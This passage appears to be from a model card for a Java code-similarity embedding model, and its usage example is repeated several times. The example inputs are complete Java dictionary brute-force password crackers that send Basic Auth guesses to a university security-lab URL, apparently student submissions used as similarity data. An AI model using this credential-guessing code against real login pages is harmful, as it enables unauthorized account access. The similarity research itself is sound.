getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch 